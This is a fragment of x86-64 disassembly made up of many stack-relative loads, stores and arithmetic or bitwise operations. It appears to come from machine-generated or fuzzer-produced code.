lea rax, [rsp + 0x1908]
mov qword [rsp + 0xc520], rax
mov rax, qword [rsp + 0xbf08]
mov rcx, qword [rsp + 0x9210]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd08], rax
mov eax, dword [rsp + 0x52c0]
mov dword [rsp + 0x541c], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9700]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa458], rax
mov eax, dword [rsp + 0x51b4]
mov ecx, dword [rsp + 0x4f10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa278]
mov dword [rcx], eax
lea rax, [rsp + 0x28e]
mov qword [0x1401cde38], rax
lea rax, [0x1401cc178]
mov qword [rsp + 0xc528], rax
movsx eax, word [rsp + 0x1990]
mov rcx, qword [rsp + 0x9248]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1994], ax
lea rax, [rsp + 0x180]
mov qword [rsp + 0xc530], rax
movsx eax, byte [rsp + 0x338]
mov rcx, qword [rsp + 0xb2d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0x99a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa658]
mov qword [rcx], rax
lea rax, [rsp + 0x5330]
mov qword [rsp + 0xc538], rax
mov rax, qword [rsp + 0x93a0]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50cc], eax
mov rax, qword [rsp + 0x8ff8]
mov qword [rsp + 0xc540], rax
lea rax, [rsp + 0x2b5]
mov qword [0x1401cde40], rax
movsx eax, word [rsp + 0x1628]
movsx ecx, word [0x1401cdb6c]
shl eax, cl
mov rcx, qword [rsp + 0xc078]
mov word [rcx], ax
movzx eax, word [rsp + 0x1624]
movzx ecx, word [rsp + 0x19bc]
xor eax, ecx
mov rcx, qword [rsp + 0xa940]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d78]
movzx eax, byte [rax]
mov byte [rsp + 0x34e], al
mov rax, qword [rsp + 0xa428]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cd7de]
sar eax, cl
mov byte [rsp + 0x2a4], al
lea rax, [rsp + 0xb3c0]
mov qword [rsp + 0xc548], rax
mov rax, qword [rsp + 0x94b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ff0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x519c], eax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xad28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb510]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e7c]
mov dword [rsp + 0x5420], eax
mov rax, qword [rsp + 0x9b30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2cc]
sub eax, ecx
mov byte [0x1401cc087], al
movsx eax, word [0x1401cc0ac]
mov rcx, qword [rsp + 0xa820]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb608]
mov word [rcx], ax
mov rax, qword [rsp + 0xb550]
movzx eax, byte [rax]
mov byte [rsp + 0x34f], al
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x1598]
sub eax, ecx
mov word [rsp + 0x1348], ax
lea rax, [0x1401cd78f]
mov qword [rsp + 0xc550], rax
mov rax, qword [rsp + 0x9440]
mov rcx, qword [rsp + 0xa4f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc258]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0xb9f8]
mov rax, qword [rax]
mov qword [rsp + 0xc558], rax
mov eax, dword [rsp + 0x5020]
mov ecx, dword [rsp + 0x53c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x522c], eax
movsx eax, word [rsp + 0x1a78]
mov rcx, qword [rsp + 0xae40]
movsx ecx, word [rcx]
imul eax, ecx
mov word [0x1401cc1c0], ax
mov rax, qword [rsp + 0xa3f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9b]
and eax, ecx
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0x1788]
mov rcx, qword [rsp + 0xb938]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9980]
mov word [rcx], ax
movsx eax, byte [rsp + 0x254]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x24b], al
lea rax, [rsp + 0x1778]
mov qword [rsp + 0xc560], rax
mov eax, dword [rsp + 0x4e38]
movzx ecx, al
mov eax, dword [rsp + 0x5328]
shl eax, cl
mov dword [rsp + 0x50a4], eax
mov rax, qword [rsp + 0x9db8]
mov rax, qword [rax]
mov qword [rsp + 0xc568], rax
mov rax, qword [rsp + 0xaa30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9700]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb050], rax
mov eax, dword [rsp + 0x5088]
mov ecx, dword [rsp + 0x5120]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3e8]
mov dword [rcx], eax
mov rax, qword [0x1401cd800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401cda58]
mov word [rcx], ax
lea rax, [rsp + 0x245]
mov qword [rsp + 0xc570], rax
mov rax, qword [rsp + 0x9ab0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1764], ax
lea rax, [rsp + 0x1610]
mov qword [rsp + 0xc578], rax
mov rax, qword [rsp + 0x9540]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
add eax, ecx
mov rcx, qword [rsp + 0xb878]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd08]
mov qword [rsp + 0xc580], rax
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x4930]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50e8], eax
mov rax, qword [rsp + 0xbac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8448]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa9f8]
mov qword [rcx], rax
lea rax, [rsp + 0x5028]
mov qword [rsp + 0xc588], rax
mov rax, qword [rsp + 0xa258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x155c]
sub eax, ecx
mov word [str._t__a], ax
mov rax, qword [rsp + 0xa680]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xafd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb608]
mov word [rcx], ax
lea rax, [rsp + 0x203]
mov qword [rsp + 0xc590], rax
movzx eax, byte [rsp + 0x248]
mov rcx, qword [rsp + 0xb018]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbca8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x332]
movzx ecx, byte [rsp + 0x205]
sub eax, ecx
mov byte [rsp + 0x247], al
lea rax, [rsp + 0x5118]
mov qword [rsp + 0xc598], rax
mov rax, qword [rsp + 0xc320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9110]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a58]
mov qword [rsp + 0xc5a0], rax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x508c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x22a]
movzx ecx, byte [rsp + 0x27b]
shl eax, cl
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
movsx eax, byte [rsp + 0x34a]
mov rcx, qword [rsp + 0xb438]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401cc00d], al
lea rax, [rsp + 0x14e4]
mov qword [rsp + 0xc5a8], rax
mov rax, qword [rsp + 0xb0f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1628]
sar eax, cl
mov word [rsp + 0x1768], ax
lea rax, [rsp + 0x267]
mov qword [rsp + 0xc5b0], rax
mov rax, qword [0x1401cc010]
mov rcx, qword [rsp + 0xb6d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa870]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbad0]
mov rcx, qword [rsp + 0xac00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9470]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad88]
mov eax, dword [rax]
mov dword [rsp + 0x5424], eax
mov rax, qword [rsp + 0xaa40]
mov rcx, qword [rsp + 0xb948]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbb10]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf44]
mov word [rsp + 0x1ac8], ax
lea rax, [rsp + 0x17d4]
mov qword [0x1401cde48], rax
movsx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0xa888]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96b8]
mov byte [rcx], al
lea rax, [0x1401cc120]
mov qword [rsp + 0xc5b8], rax
mov rax, qword [rsp + 0xb7d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc570]
mov byte [rcx], al
mov rax, qword [rsp + 0xc0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0xa2e0]
mov rax, qword [rax]
mov qword [rsp + 0xc5c0], rax
mov rax, qword [rsp + 0x9030]
mov ecx, dword [rsp + 0x53e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov dword [rcx], eax
lea rax, [rsp + 0x4f14]
mov qword [rsp + 0xc5c8], rax
movzx eax, word [0x1401cde08]
mov rcx, qword [rsp + 0xae00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x2de]
movsx ecx, byte [rsp + 0x63]
add eax, ecx
mov byte [0x1401cc056], al
movzx eax, word [rsp + 0x1748]
mov rcx, qword [0x1401cdcb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc5a8]
mov word [rcx], ax
lea rax, [rsp + 0x2a6]
mov qword [rsp + 0xc5d0], rax
mov rax, qword [rsp + 0xaad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a9]
add eax, ecx
mov rcx, qword [rsp + 0x9410]
mov byte [rcx], al
lea rax, [rsp + 0x9110]
mov qword [rsp + 0xc5d8], rax
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5410]
shr eax, cl
mov dword [rsp + 0x4f70], eax
mov rax, qword [rsp + 0xc340]
mov qword [rsp + 0xc5e0], rax
mov rax, qword [rsp + 0xa018]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2d4]
xor eax, ecx
mov rcx, qword [rsp + 0xa7b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1978]
mov word [0x1401cde50], ax
lea rax, [rsp + 0x25e]
mov qword [rsp + 0xc5e8], rax
mov rax, qword [rsp + 0x9f98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1708], ax
lea rax, [rsp + 0x18f0]
mov qword [rsp + 0xc5f0], rax
mov rax, qword [rsp + 0x94f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa0e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14d8], ax
mov eax, dword [rsp + 0x51b4]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea0], eax
lea rax, [rsp + 0x8540]
mov qword [rsp + 0xc5f8], rax
mov rax, qword [rsp + 0xa3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5418], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xc600], rax
movsx eax, byte [rsp + 0x348]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov rcx, qword [0x1401cdcf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9fc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb060]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0xb800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa360]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a9], al
movsx eax, word [rsp + 0x16c4]
movsx ecx, word [rsp + 0x14f0]
sub eax, ecx
mov word [rsp + 0x1068], ax
movsx eax, byte [rsp + 0x272]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x204], al
lea rax, [rsp + 0x53a8]
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xbc00]
mov rcx, qword [rsp + 0xaa70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb198]
mov qword [rcx], rax
mov eax, dword [rsp + 0x537c]
mov rcx, qword [rsp + 0xa950]
mov qword [rsp + 0xc610], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc610]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbc8]
mov rax, qword [rax]
mov qword [rsp + 0xc618], rax
movzx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0x97e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401cd928]
mov byte [rcx], al
movzx eax, word [0x1401cc140]
movzx ecx, word [rsp + 0x175c]
sar eax, cl
mov word [rsp + 0x1aa0], ax
movzx eax, word [rsp + 0x1768]
mov word [rsp + 0x1acc], ax
movzx eax, word [rsp + 0x17b8]
mov rcx, qword [0x1401cd790]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa700]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x23b]
and eax, ecx
mov byte [rsp + 0x1f2], al
lea rax, [rsp + 0x53c8]
mov qword [rsp + 0xc620], rax
mov rax, qword [rsp + 0xbae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x81c0]
mov qword [rsp + 0xc628], rax
mov rax, qword [rsp + 0xb8e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ea0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5068], eax
lea rax, [rsp + 0x198c]
mov qword [0x1401cde58], rax
lea rax, [rsp + 0x1504]
mov qword [rsp + 0xc630], rax
movsx eax, byte [rsp + 0x1e3]
movsx ecx, byte [rsp + 0x321]
add eax, ecx
mov byte [rsp + 0x22b], al
movzx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xa8a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x251], al
lea rax, [rsp + 0x289]
mov qword [rsp + 0xc638], rax
mov rax, qword [rsp + 0x95e8]
mov ecx, dword [rsp + 0x5308]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbab8]
mov dword [rcx], eax
lea rax, [rsp + 0xbb40]
mov qword [rsp + 0xc640], rax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0xbee8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbcc8], rax
mov eax, dword [rsp + 0x5018]
mov ecx, dword [rsp + 0x4da0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f10], eax
movzx eax, word [rsp + 0x15b0]
movzx ecx, word [0x1401cc098]
add eax, ecx
mov word [0x1401cc1b0], ax
movzx eax, byte [rsp + 0x348]
mov byte [rsp + 0x350], al
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb700]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1068]
mov word [rsp + 0x1ad0], ax
mov rax, qword [rsp + 0xc000]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x28d]
xor eax, ecx
mov byte [rsp + 0x349], al
mov rax, qword [rsp + 0xb3b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x47cc]
sar eax, cl
mov dword [rsp + 0x5314], eax
lea rax, [rsp + 0x9e38]
mov qword [rsp + 0xc648], rax
mov eax, dword [rsp + 0x4c88]
movzx ecx, al
mov eax, dword [rsp + 0x5120]
shl eax, cl
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a60]
mov qword [rsp + 0xc650], rax
mov rax, qword [rsp + 0xa8a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa408]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc0b2], al
movzx eax, word [rsp + 0x196c]
movzx ecx, word [rsp + 0x1560]
and eax, ecx
mov rcx, qword [rsp + 0xa8b8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x264]
mov rcx, qword [rsp + 0xc4c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c3], al
movzx eax, word [0x1401cc110]
mov word [rsp + 0x1ad4], ax
movzx eax, byte [rsp + 0x76]
movzx ecx, byte [rsp + 0x78]
sub eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0xabe0]
mov rax, qword [rax]
mov qword [rsp + 0xc658], rax
mov rax, qword [rsp + 0xa4e8]
mov ecx, dword [rsp + 0x4ca4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53b4], eax
mov eax, dword [rsp + 0x4f04]
mov ecx, dword [rsp + 0x52c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4be8], eax
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xafe8]
mov qword [rcx], rax
lea rax, [0x1401cc088]
mov qword [0x1401cde60], rax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1920]
and eax, ecx
mov word [rsp + 0x188c], ax
movzx eax, word [rsp + 0x1a50]
mov word [rsp + 0x1ad8], ax
mov rax, qword [rsp + 0x9688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x323]
add eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc410]
movzx eax, word [rax]
mov word [rsp + 0x1adc], ax
mov rax, qword [rsp + 0x9548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0xb2e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd90]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
lea rax, [rsp + 0x525c]
mov qword [rsp + 0xc660], rax
mov rax, qword [rsp + 0xbae0]
mov rcx, qword [rsp + 0xb038]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa458], rax
movsx eax, word [rsp + 0x1268]
mov rcx, qword [rsp + 0xc220]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc1b8], ax
lea rax, [rsp + 0x1f5]
mov qword [rsp + 0xc668], rax
movsx eax, byte [rsp + 0x316]
mov rcx, qword [rsp + 0xbd38]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x218], al
movzx eax, word [rsp + 0x18c0]
mov rcx, qword [rsp + 0xb250]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb858]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2c4]
mov byte [rsp + 0x351], al
mov rax, qword [rsp + 0x92d8]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc640]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbcf0]
mov rax, qword [rax]
mov qword [rsp + 0xc670], rax
mov eax, dword [rsp + 0x50cc]
mov ecx, dword [rsp + 0x501c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4828], eax
mov eax, dword [rsp + 0x4fec]
mov dword [rsp + 0x5428], eax
movzx eax, byte [0x1401cd845]
movzx ecx, byte [rsp + 0x180]
sub eax, ecx
mov rcx, qword [rsp + 0x9f30]
mov byte [rcx], al
lea rax, [rsp + 0x239]
mov qword [0x1401cde68], rax
movzx eax, word [rsp + 0x1aa4]
movzx ecx, word [rsp + 0x17bc]
add eax, ecx
mov word [rsp + 0x18c0], ax
movzx eax, word [rsp + 0x1764]
mov word [rsp + 0x1ae0], ax
mov rax, qword [rsp + 0xac38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2e2]
add eax, ecx
mov byte [rsp + 0x2ab], al
lea rax, [rsp + 0x4ee4]
mov qword [rsp + 0xc678], rax
mov rax, qword [rsp + 0xc230]
mov rcx, qword [rsp + 0x8448]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc168], rax
mov rax, qword [rsp + 0xb568]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0xbfe0]
mov rax, qword [rax]
mov qword [rsp + 0xc680], rax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
movzx ecx, word [0x1401cc18c]
and eax, ecx
mov word [rsp + 0x171c], ax
mov rax, qword [rsp + 0x9980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xedc]
sub eax, ecx
mov rcx, qword [0x1401cddf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbce0]
movzx eax, word [rax]
mov word [rsp + 0x1ae4], ax
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0xb630]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb9d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0xbd38]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb878]
mov byte [rcx], al
mov rax, qword [rsp + 0xc2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50e0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a4c], eax
mov rax, qword [rsp + 0xa770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9780]
mov qword [rsp + 0xc688], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc688]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xaab0], rax
mov rax, qword [rsp + 0xa4c8]
mov eax, dword [rax]
mov dword [rsp + 0x542c], eax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0x92d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa328], rax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1624]
and eax, ecx
mov rcx, qword [rsp + 0xa980]
mov word [rcx], ax
mov rax, qword [rsp + 0xb438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc048]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0b3], al
mov rax, qword [0x1401cdaa0]
movzx eax, byte [rax]
mov byte [rsp + 0x352], al
mov rax, qword [rsp + 0x9f40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93b0]
mov byte [rcx], al
lea rax, [rsp + 0x10d8]
mov qword [rsp + 0xc690], rax
mov eax, dword [rsp + 0x5408]
mov ecx, dword [rsp + 0x4f10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa158]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa920]
mov rax, qword [rax]
mov qword [rsp + 0xc698], rax
mov rax, qword [rsp + 0xa4f8]
mov ecx, dword [rsp + 0x5120]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa0b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad40]
mov rcx, qword [rsp + 0x9040]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa9c8], rax
lea rax, [rsp + 0x1558]
mov qword [rsp + 0xc6a0], rax
movzx eax, byte [rsp + 0x24e]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [0x1401cd716], al
movsx eax, word [0x1401cc0a8]
mov rcx, qword [rsp + 0xa7e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc078]
mov word [rcx], ax
movzx eax, byte [rsp + 0x333]
mov byte [rsp + 0x353], al
mov rax, qword [rsp + 0xa1b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9138]
mov byte [rcx], al
movzx eax, word [rsp + 0x1864]
movzx ecx, word [rsp + 0x1678]
xor eax, ecx
mov word [rsp + 0x19d4], ax
mov rax, qword [rsp + 0xa508]
mov rax, qword [rax]
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0xaa50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9720]
mov qword [rsp + 0xc6b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc6b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xaaa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ac0]
mov rax, qword [rax]
mov qword [rsp + 0xc6b8], rax
mov rax, qword [rsp + 0x9c70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b94]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5140], eax
movzx eax, byte [rsp + 0x22a]
mov rcx, qword [rsp + 0x9998]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cc097], al
movsx eax, byte [rsp + 0x29b]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ff], al
lea rax, [rsp + 0x1618]
mov qword [rsp + 0xc6c0], rax
movzx eax, word [rsp + 0x19c8]
movzx ecx, word [0x1401cc078]
sub eax, ecx
mov rcx, qword [rsp + 0xaaf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x309]
mov byte [rsp + 0x354], al
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb548]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x92f8], rax
mov eax, dword [rsp + 0x4e90]
mov dword [rsp + 0x5430], eax
mov rax, qword [rsp + 0xba90]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc3e0], rax
mov rax, qword [rsp + 0xacc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
lea rax, [rsp + 0x312]
mov qword [0x1401cde70], rax
lea rax, [0x1401cdb68]
mov qword [rsp + 0xc6c8], rax
mov rax, qword [rsp + 0xa4f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb838]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc2], al
lea rax, [rsp + 0x273]
mov qword [rsp + 0xc6d0], rax
movsx eax, word [0x1401cc104]
movsx ecx, word [rsp + 0x1764]
add eax, ecx
mov word [rsp + 0x1164], ax
mov rax, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0xad98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xac50]
mov qword [rcx], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x52fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4894], eax
mov rax, qword [rsp + 0xc348]
mov rcx, qword [rsp + 0xc1f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ff8], eax
lea rax, [rsp + 0x86e8]
mov qword [rsp + 0xc6d8], rax
movzx eax, word [rsp + 0x12e8]
mov word [0x1401cde78], ax
mov rax, qword [0x1401cda40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98c0]
movsx ecx, byte [rcx]
xor eax, ecx
